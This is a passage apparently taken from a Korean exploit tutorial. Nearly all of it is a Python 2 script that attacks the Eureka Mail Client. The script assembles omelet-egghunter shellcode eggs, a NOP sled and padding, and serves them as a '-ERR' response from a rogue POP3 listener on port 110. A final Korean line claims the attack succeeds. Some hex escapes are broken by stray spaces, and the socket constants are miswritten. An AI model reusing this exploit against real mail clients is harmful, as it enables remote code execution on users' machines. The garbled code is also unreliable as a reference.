egg2 = "\x7a\xfd\x55\xda\xba\x46\x58\x79\x70\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b\ x48\x47\x4b\x51\x6d\x46\x44\x50\x75\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x74 \x35\x51\x59\x43\x65\x36\x6c\x4b\x36\x6c\x52\x6b\x6e\x6b\x42\x78\x47\x6c\x6 3\x31\x48\x53\x6E\x6B\x63\x34\x4E\x6B\x56\x61\x7A\x70\x6C\x49\x73\x74\x34\x 64\x56\x44\x63\x6B\x53\x6B\x43\x51\x61\x49\x43\x6A\x66\x31\x4B\x4F\x4B\x50\ x31\x48\x71\x4f\x33\x6a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x7a\x7 6\x61\x6C\x4D\x6E\x65\x4F\x49\x37\x70\x67\x70\x63\x30\x72\x70"; egg3 = "\x7a\xfc\x55\xda\xba\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x37\x39\x6f\x38\ x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x4d\x45\x6d\x6 D\x6F\x6D\x39\x6F\x4B\x65\x55\x6C\x74\x46\x63\x4C\x55\x5A\x6D\x50\x49\x6B\ x6b\x50\x64\x35\x67\x75\x6f\x4b\x72\x67\x57\x63\x71\x62\x62\x4f\x30\x6a\x57 \x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x44\x6e\x70\x6 5\x32\x58\x32\x45\x65\x50\x41\x41\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x4 0\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"; nops = "\x90" * 1000 garbage = "This is a bunch of garbage" * 10 ex = junk + ret + omelet_code + nops + egg0 + garbage + egg1 + garbage + egg2 + garbage + egg3 payload = "-ERR" + ex print "Payload Lengths : %d bytes" % len(ex) print "Omelet Code Lengths : %d bytes" % len(omelet_code) print "Egg 0 Lengths : %d bytes " % len(egg0) print "Egg 1 Lengths : %d bytes " % len(egg1) print "Egg 2 Lengths : %d bytes " % len(egg2) print "Egg 3 Lengths : %d bytes " % len(egg3) print "=================================================" s = socket.socket(socket.af_inet, socket.sock_stream) s.bind((ip, pt)) s.listen(5) print "[*] Listening on tcp port 110" print "[*] Configure Eureka mail Client to connect to this host"

while True: print "Waiting for connection..." conn,addr = s.accept() print "Connected by", addr while True: print "Sending Payload" conn.send(payload) print "Send %d bytes" % len(payload) 위스크립트를이용하면다음과같이공격에성공한다.